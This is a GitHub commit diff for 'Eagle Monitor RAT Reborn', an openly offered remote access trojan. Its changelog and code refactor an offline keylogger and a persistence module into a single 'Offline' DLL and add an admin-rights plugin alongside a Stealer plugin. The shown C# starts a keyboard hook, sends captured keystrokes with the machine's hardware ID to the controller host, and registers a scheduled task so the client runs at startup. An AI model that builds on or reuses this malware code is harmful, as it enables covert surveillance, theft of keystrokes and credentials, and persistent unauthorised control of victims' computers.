Skip to content

Commit 8d6fb43

Browse files
arsiumarsium
committed
3.2.1.0
* [Fix][Server] Re-added thread for ConnectedPacketHandler * [Fix][Client] Offline keystrokes sent after getting Connect packet (causing server crash if offline keylogger enabled) * [Fix][Updater] Updater did not work for 3.1.9.0 to 3.2.0.0 and above * [New] Added plugin named "Admin" used for all features requiring admin rights * [New] Added "Ask for admin rights" * [New] Added Restore Points View (requires UAC) * [New] Added Restore Points delete (requires UAC) * [Tweaks] "OffKeylogger" and "persistence" codes have been merged in a single Dll (Offline) -> reduce the client's size of +- 20 KB
1 parent be38b5c commit 8d6fb43

File tree

402 files changed

+3721
-407
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

402 files changed

+3721
-407
lines changed

‎Eagle Monitor Reborn.sln

+36-36
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,6 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Stealer", "Remote Access To
1919
EndProject
2020
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MemoryExecution", "Remote Access Tool\Plugins\MemoryExecution\MemoryExecution.csproj", "{0607E970-CC93-4A2A-83CA-53B9D537C96E}"
2121
EndProject
22-
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "OfflineKeylogger", "Remote Access Tool\Plugins\OffKeylogger\OfflineKeylogger.csproj", "{A2C534E0-70E1-4229-B6E5-F91EDE820789}"
23-
EndProject
24-
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Persistence", "Remote Access Tool\Plugins\Persistence\Persistence.csproj", "{354D5D01-64BA-40D8-BF97-659FEFF41EFB}"
25-
EndProject
2622
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Eagle Monitor RAT Reborn", "Remote Access Tool\Eagle Monitor\Eagle Monitor RAT Reborn.csproj", "{D18EDB8E-8441-48E8-9F89-518824F759E2}"
2723
EndProject
2824
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Eagle Monitor Configurator", "Remote Access Tool\Eagle Monitor Configurator\Eagle Monitor Configurator.csproj", "{61B25B01-C289-4026-98F4-1A699D1450E5}"
@@ -65,6 +61,10 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Eagle Monitor RAT Updater",
6561
EndProject
6662
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Remote Access Tool\Plugins\Chat\Chat.csproj", "{773A4D23-189D-4353-BF37-515591E16F5A}"
6763
EndProject
64+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Offline", "Remote Access Tool\Plugins\Offline\Offline.csproj", "{D317BA4E-5818-4FC4-AA4E-EEA824317759}"
65+
EndProject
66+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Admin", "Remote Access Tool\Plugins\Admin\Admin.csproj", "{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}"
67+
EndProject
6868
Global
6969
GlobalSection(SolutionConfigurationPlatforms) = preSolution
7070
Debug|Any CPU = Debug|Any CPU
@@ -105,8 +105,8 @@ Global
105105
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Debug|x64.Build.0 = Debug|x64
106106
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Debug|x86.ActiveCfg = Debug|Any CPU
107107
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Debug|x86.Build.0 = Debug|Any CPU
108-
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|Any CPU.ActiveCfg = Release|Any CPU
109-
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|Any CPU.Build.0 = Release|Any CPU
108+
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|Any CPU.ActiveCfg = Release|x64
109+
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|Any CPU.Build.0 = Release|x64
110110
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|x64.ActiveCfg = Release|x64
111111
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|x64.Build.0 = Release|x64
112112
{6CC57E66-AB6C-4908-81DA-29A45596F5CA}.Release|x86.ActiveCfg = Release|Any CPU
@@ -159,38 +159,14 @@ Global
159159
{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x64.Build.0 = Release|Any CPU
160160
{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x86.ActiveCfg = Release|Any CPU
161161
{0607E970-CC93-4A2A-83CA-53B9D537C96E}.Release|x86.Build.0 = Release|Any CPU
162-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
163-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|Any CPU.Build.0 = Debug|Any CPU
164-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|x64.ActiveCfg = Debug|Any CPU
165-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|x64.Build.0 = Debug|Any CPU
166-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|x86.ActiveCfg = Debug|Any CPU
167-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Debug|x86.Build.0 = Debug|Any CPU
168-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|Any CPU.ActiveCfg = Release|Any CPU
169-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|Any CPU.Build.0 = Release|Any CPU
170-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|x64.ActiveCfg = Release|Any CPU
171-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|x64.Build.0 = Release|Any CPU
172-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|x86.ActiveCfg = Release|Any CPU
173-
{A2C534E0-70E1-4229-B6E5-F91EDE820789}.Release|x86.Build.0 = Release|Any CPU
174-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
175-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|Any CPU.Build.0 = Debug|Any CPU
176-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|x64.ActiveCfg = Debug|Any CPU
177-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|x64.Build.0 = Debug|Any CPU
178-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|x86.ActiveCfg = Debug|Any CPU
179-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Debug|x86.Build.0 = Debug|Any CPU
180-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|Any CPU.ActiveCfg = Release|Any CPU
181-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|Any CPU.Build.0 = Release|Any CPU
182-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|x64.ActiveCfg = Release|Any CPU
183-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|x64.Build.0 = Release|Any CPU
184-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|x86.ActiveCfg = Release|Any CPU
185-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB}.Release|x86.Build.0 = Release|Any CPU
186162
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
187163
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|Any CPU.Build.0 = Debug|Any CPU
188164
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|x64.ActiveCfg = Debug|Any CPU
189165
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|x64.Build.0 = Debug|Any CPU
190166
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|x86.ActiveCfg = Debug|Any CPU
191167
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Debug|x86.Build.0 = Debug|Any CPU
192-
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|Any CPU.ActiveCfg = Release|Any CPU
193-
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|Any CPU.Build.0 = Release|Any CPU
168+
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|Any CPU.ActiveCfg = Release|x64
169+
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|Any CPU.Build.0 = Release|x64
194170
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|x64.ActiveCfg = Release|Any CPU
195171
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|x64.Build.0 = Release|Any CPU
196172
{D18EDB8E-8441-48E8-9F89-518824F759E2}.Release|x86.ActiveCfg = Release|Any CPU
@@ -309,8 +285,8 @@ Global
309285
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Debug|x64.Build.0 = Debug|Any CPU
310286
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Debug|x86.ActiveCfg = Debug|Any CPU
311287
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Debug|x86.Build.0 = Debug|Any CPU
312-
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|Any CPU.ActiveCfg = Release|Any CPU
313-
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|Any CPU.Build.0 = Release|Any CPU
288+
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|Any CPU.ActiveCfg = Release|x64
289+
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|Any CPU.Build.0 = Release|x64
314290
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|x64.ActiveCfg = Release|Any CPU
315291
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|x64.Build.0 = Release|Any CPU
316292
{7479A1EC-2F07-476A-8C29-5073E1AF4731}.Release|x86.ActiveCfg = Release|Any CPU
@@ -435,6 +411,30 @@ Global
435411
{773A4D23-189D-4353-BF37-515591E16F5A}.Release|x64.Build.0 = Release|Any CPU
436412
{773A4D23-189D-4353-BF37-515591E16F5A}.Release|x86.ActiveCfg = Release|Any CPU
437413
{773A4D23-189D-4353-BF37-515591E16F5A}.Release|x86.Build.0 = Release|Any CPU
414+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
415+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|Any CPU.Build.0 = Debug|Any CPU
416+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.ActiveCfg = Debug|Any CPU
417+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x64.Build.0 = Debug|Any CPU
418+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x86.ActiveCfg = Debug|Any CPU
419+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Debug|x86.Build.0 = Debug|Any CPU
420+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.ActiveCfg = Release|Any CPU
421+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|Any CPU.Build.0 = Release|Any CPU
422+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.ActiveCfg = Release|Any CPU
423+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x64.Build.0 = Release|Any CPU
424+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x86.ActiveCfg = Release|Any CPU
425+
{D317BA4E-5818-4FC4-AA4E-EEA824317759}.Release|x86.Build.0 = Release|Any CPU
426+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
427+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|Any CPU.Build.0 = Debug|Any CPU
428+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.ActiveCfg = Debug|Any CPU
429+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x64.Build.0 = Debug|Any CPU
430+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x86.ActiveCfg = Debug|Any CPU
431+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Debug|x86.Build.0 = Debug|Any CPU
432+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.ActiveCfg = Release|Any CPU
433+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|Any CPU.Build.0 = Release|Any CPU
434+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.ActiveCfg = Release|Any CPU
435+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x64.Build.0 = Release|Any CPU
436+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x86.ActiveCfg = Release|Any CPU
437+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0}.Release|x86.Build.0 = Release|Any CPU
438438
EndGlobalSection
439439
GlobalSection(SolutionProperties) = preSolution
440440
HideSolutionNode = FALSE
@@ -445,8 +445,6 @@ Global
445445
{D0B4F8E5-B2FE-4546-8468-1AF08B82B50C} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
446446
{57239258-19E3-4B07-854C-8B0A3221C45A} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
447447
{0607E970-CC93-4A2A-83CA-53B9D537C96E} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
448-
{A2C534E0-70E1-4229-B6E5-F91EDE820789} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
449-
{354D5D01-64BA-40D8-BF97-659FEFF41EFB} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
450448
{DCD28797-E01E-48F7-942C-6E01DF1DD9E9} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
451449
{EAEC4642-636D-4312-8903-D70157A8E91C} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
452450
{5389698F-E221-466D-8682-8F289C44F1DD} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
@@ -458,6 +456,8 @@ Global
458456
{8249FC51-35C1-4141-8AAF-796FD81414EF} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
459457
{37FCC79C-BC7C-4481-8E5B-9C0CE4496D11} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
460458
{773A4D23-189D-4353-BF37-515591E16F5A} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
459+
{D317BA4E-5818-4FC4-AA4E-EEA824317759} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
460+
{B4600D81-F6E7-4F97-B0D1-7029EEEED5F0} = {285E656E-D902-42A0-B5E5-F797CEE51E1A}
461461
EndGlobalSection
462462
GlobalSection(ExtensibilityGlobals) = postSolution
463463
SolutionGuid = {A52F31CC-26D4-4A7D-B23C-39C1BCB978F0}

‎Remote Access Tool/Client/Client.csproj

+3-7
Original file line numberDiff line numberDiff line change
@@ -86,13 +86,9 @@
8686
<Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>
8787
<Name>PacketLib</Name>
8888
</ProjectReference>
89-
<ProjectReference Include="..\Plugins\OffKeylogger\OfflineKeylogger.csproj">
90-
<Project>{a2c534e0-70e1-4229-b6e5-f91ede820789}</Project>
91-
<Name>OfflineKeylogger</Name>
92-
</ProjectReference>
93-
<ProjectReference Include="..\Plugins\Persistence\Persistence.csproj">
94-
<Project>{354d5d01-64ba-40d8-bf97-659feff41efb}</Project>
95-
<Name>Persistence</Name>
89+
<ProjectReference Include="..\Plugins\Offline\Offline.csproj">
90+
<Project>{d317ba4e-5818-4fc4-aa4e-eea824317759}</Project>
91+
<Name>Offline</Name>
9692
</ProjectReference>
9793
</ItemGroup>
9894
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />

‎Remote Access Tool/Client/Networking/ClientHandler.cs

+4-7
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55
using System.IO;
66
using System.Net.Sockets;
77
using System.Threading;
8-
using System.Windows.Forms;
98

109
/*
1110
|| AUTHOR Arsium ||
@@ -68,11 +67,11 @@ private bool Connect()
6867
return false;
6968
}
7069

71-
private void StopOfflineKeyLogger()
70+
internal static void StopOfflineKeyLogger()
7271
{
73-
Plugin.Launch.StopHook();
74-
Plugin.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID));
75-
Plugin.Launch.ClearKeyStroke();
72+
Offline.Keyloggers.Launch.StopHook();
73+
Offline.Keyloggers.Launch.ClientSender(StarterClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), StarterClass.clientHandler.baseIp, StarterClass.clientHandler.HWID));
74+
Offline.Keyloggers.Launch.ClearKeyStroke();
7675
StarterClass.KeylogOn = false;
7776
}
7877

@@ -85,8 +84,6 @@ public void EndConnect(IAsyncResult ar)
8584
ConnectedPacket connectionPacket = new ConnectedPacket();
8685
this.HWID = connectionPacket.HWID;
8786
SendPacket(connectionPacket);
88-
if (StarterClass.KeylogOn)
89-
StopOfflineKeyLogger();
9087
Receive();
9188
}
9289
else

‎Remote Access Tool/Client/Networking/PacketHandler.cs

+3-3
Original file line numberDiff line numberDiff line change
@@ -20,24 +20,24 @@ static PacketHandler()
2020
pluginDelegate = new PluginDelegate(LoadPlugin);
2121
}
2222

23-
2423
internal static void ParsePacket(IPacket packet)
2524
{
26-
2725
try
2826
{
2927
switch (packet.packetType)
3028
{
3129
case PacketType.CONNECTED:
3230
StarterClass.clientHandler.baseIp = packet.baseIp;
31+
if (StarterClass.KeylogOn)
32+
ClientHandler.StopOfflineKeyLogger();
3333
break;
3434

3535
case (PacketType.CLOSE_CLIENT):
3636
StarterClass.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);
3737
break;
3838

3939
case (PacketType.UNINSTALL_CLOSE_CLIENT):
40-
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
40+
Offline.Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
4141
break;
4242

4343
default:

‎Remote Access Tool/Client/StarterClass.cs

+2-2
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ internal static void StartOfflineKeylogger()
3535
{
3636
if (!KeylogOn && Config.offKeylog != "False")
3737
{
38-
Plugin.Launch.Start();
38+
Offline.Keyloggers.Launch.Start();
3939
KeylogOn = true;
4040
}
4141
}
@@ -61,7 +61,7 @@ public static void Main()
6161

6262
public static void MakeInstall()
6363
{
64-
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
64+
Offline.Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
6565
}
6666
}
6767
}

‎Remote Access Tool/Client/obj/Release/Client.csproj.AssemblyReference.cache

3.14 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Client.csproj.CoreCompileInputs.cache

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
c02f3bbfd82c9bdf9c4bcccc09dae8674ba61f4a
1+
016c1b1cd7e6ef8276ecc36d372cf200971701d0

‎Remote Access Tool/Client/obj/Release/Costura/16E367575778C3F5B31806EEF944A9E6E8A63853.costura.offline.dll.compressed

6.46 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/20E74B9DEB97D094074E115941CB243D20018A33.costura.offline.pdb.compressed

7.28 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/463FB96EF88CCFAC4DC32CBD38248EFB50A38135.costura.offline.pdb.compressed

7.28 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed

26.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/742E69CC55C89E5E530AD9CA71A067934EF02162.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/994E685D2B730E1418F342B2A5135FEDCC89243D.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/D0AF7E7B025B007D981837832218B6D21580C5AB.costura.offkeylogger.dll.compressed

33.2 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/DBDCCAC66FCBBA848CD5ACE8570B28ABBE6457F9.costura.offline.pdb.compressed

7.27 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/Costura/EEBF9ACA6EC6C40D71DA419CABF07E71EEAF2365.costura.packetlib.dll.compressed

25.8 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache

-103 Bytes
Binary file not shown.

‎Remote Access Tool/Client/obj/Release/_IsIncrementalBuild

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
obj\Release\\_IsIncrementalBuild

‎Remote Access Tool/Client/obj/x64/Release/Client.csproj.AssemblyReference.cache

1.47 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Client.csproj.CoreCompileInputs.cache

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
5ab563a9f1704ad9d4d87357d4975e8ec19cfe14
1+
c01801f1a75a5e6ec787152dfd9c3d1a78559118

‎Remote Access Tool/Client/obj/x64/Release/Costura/16E367575778C3F5B31806EEF944A9E6E8A63853.costura.offline.dll.compressed

6.46 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/20E74B9DEB97D094074E115941CB243D20018A33.costura.offline.pdb.compressed

7.28 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/463FB96EF88CCFAC4DC32CBD38248EFB50A38135.costura.offline.pdb.compressed

7.28 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed

26.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/742E69CC55C89E5E530AD9CA71A067934EF02162.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/994E685D2B730E1418F342B2A5135FEDCC89243D.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/D0AF7E7B025B007D981837832218B6D21580C5AB.costura.offkeylogger.dll.compressed

33.2 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/DBDCCAC66FCBBA848CD5ACE8570B28ABBE6457F9.costura.offline.pdb.compressed

7.27 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/Costura/EEBF9ACA6EC6C40D71DA419CABF07E71EEAF2365.costura.packetlib.dll.compressed

25.8 KB
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/DesignTimeResolveAssemblyReferencesInput.cache

-156 Bytes
Binary file not shown.

‎Remote Access Tool/Client/obj/x64/Release/_IsIncrementalBuild

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
obj\x64\Release\\_IsIncrementalBuild

‎Remote Access Tool/ClientDll/ClientDll.csproj

+3-7
Original file line numberDiff line numberDiff line change
@@ -52,13 +52,9 @@
5252
<Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>
5353
<Name>PacketLib</Name>
5454
</ProjectReference>
55-
<ProjectReference Include="..\Plugins\OffKeylogger\OfflineKeylogger.csproj">
56-
<Project>{a2c534e0-70e1-4229-b6e5-f91ede820789}</Project>
57-
<Name>OfflineKeylogger</Name>
58-
</ProjectReference>
59-
<ProjectReference Include="..\Plugins\Persistence\Persistence.csproj">
60-
<Project>{354d5d01-64ba-40d8-bf97-659feff41efb}</Project>
61-
<Name>Persistence</Name>
55+
<ProjectReference Include="..\Plugins\Offline\Offline.csproj">
56+
<Project>{d317ba4e-5818-4fc4-aa4e-eea824317759}</Project>
57+
<Name>Offline</Name>
6258
</ProjectReference>
6359
</ItemGroup>
6460
<ItemGroup>

‎Remote Access Tool/ClientDll/EntryClass.cs

+2-2
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ internal static void StartOfflineKeylogger()
3434
{
3535
if (!KeylogOn && Config.offKeylog != "False")
3636
{
37-
Plugin.Launch.Start();
37+
Offline.Keyloggers.Launch.Start();
3838
KeylogOn = true;
3939
}
4040
}
@@ -59,7 +59,7 @@ public static void Main()
5959

6060
public static void MakeInstall()
6161
{
62-
Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
62+
Offline.Persistence.TaskScheduler.StartUpTaskScheduler(Config.time, Config.taskName);
6363
}
6464
}
6565
}

‎Remote Access Tool/ClientDll/Networking/ClientHandler.cs

+3-3
Original file line numberDiff line numberDiff line change
@@ -75,9 +75,9 @@ private bool Connect()
7575

7676
private void StopOfflineKeyLogger()
7777
{
78-
Plugin.Launch.StopHook();
79-
Plugin.Launch.ClientSender(EntryClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Plugin.Launch.CurrentKeyStroke(), EntryClass.clientHandler.baseIp, EntryClass.clientHandler.HWID));
80-
Plugin.Launch.ClearKeyStroke();
78+
Offline.Keyloggers.Launch.StopHook();
79+
Offline.Keyloggers.Launch.ClientSender(EntryClass.clientHandler.host, Config.generalKey, new KeylogOfflinePacket(Offline.Keyloggers.Launch.CurrentKeyStroke(), EntryClass.clientHandler.baseIp, EntryClass.clientHandler.HWID));
80+
Offline.Keyloggers.Launch.ClearKeyStroke();
8181
EntryClass.KeylogOn = false;
8282
}
8383

‎Remote Access Tool/ClientDll/Networking/PacketHandler.cs

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ internal static void ParsePacket(IPacket packet)
3737
break;
3838

3939
case (PacketType.UNINSTALL_CLOSE_CLIENT):
40-
Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
40+
Offline.Persistence.TaskScheduler.RemoveTaskScheduler(Config.taskName);
4141
break;
4242

4343
default:

‎Remote Access Tool/ClientDll/obj/Release/ClientDll.csproj.AssemblyReference.cache

6.3 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/ClientDll.csproj.CoreCompileInputs.cache

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
38c8530b05ff19c71af9b9e3288d63a3f88e7de2
1+
54e70fafcb8903c28dc646e2f8cb444db3592dea

‎Remote Access Tool/ClientDll/obj/Release/ClientDll.dll

-76 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/463FB96EF88CCFAC4DC32CBD38248EFB50A38135.costura.offline.pdb.compressed

7.28 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed

26.1 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/742E69CC55C89E5E530AD9CA71A067934EF02162.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/994E685D2B730E1418F342B2A5135FEDCC89243D.costura.offline.dll.compressed

6.47 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed

25.1 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/D0AF7E7B025B007D981837832218B6D21580C5AB.costura.offkeylogger.dll.compressed

33.2 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/DBDCCAC66FCBBA848CD5ACE8570B28ABBE6457F9.costura.offline.pdb.compressed

7.27 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/Costura/EEBF9ACA6EC6C40D71DA419CABF07E71EEAF2365.costura.packetlib.dll.compressed

25.8 KB
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache

-103 Bytes
Binary file not shown.

‎Remote Access Tool/ClientDll/obj/Release/_IsIncrementalBuild

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
obj\Release\\_IsIncrementalBuild

‎Remote Access Tool/ClientVB/ClientVB.vbproj

+3-7
Original file line numberDiff line numberDiff line change
@@ -100,13 +100,9 @@
100100
<Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>
101101
<Name>PacketLib</Name>
102102
</ProjectReference>
103-
<ProjectReference Include="..\Plugins\OffKeylogger\OfflineKeylogger.csproj">
104-
<Project>{a2c534e0-70e1-4229-b6e5-f91ede820789}</Project>
105-
<Name>OfflineKeylogger</Name>
106-
</ProjectReference>
107-
<ProjectReference Include="..\Plugins\Persistence\Persistence.csproj">
108-
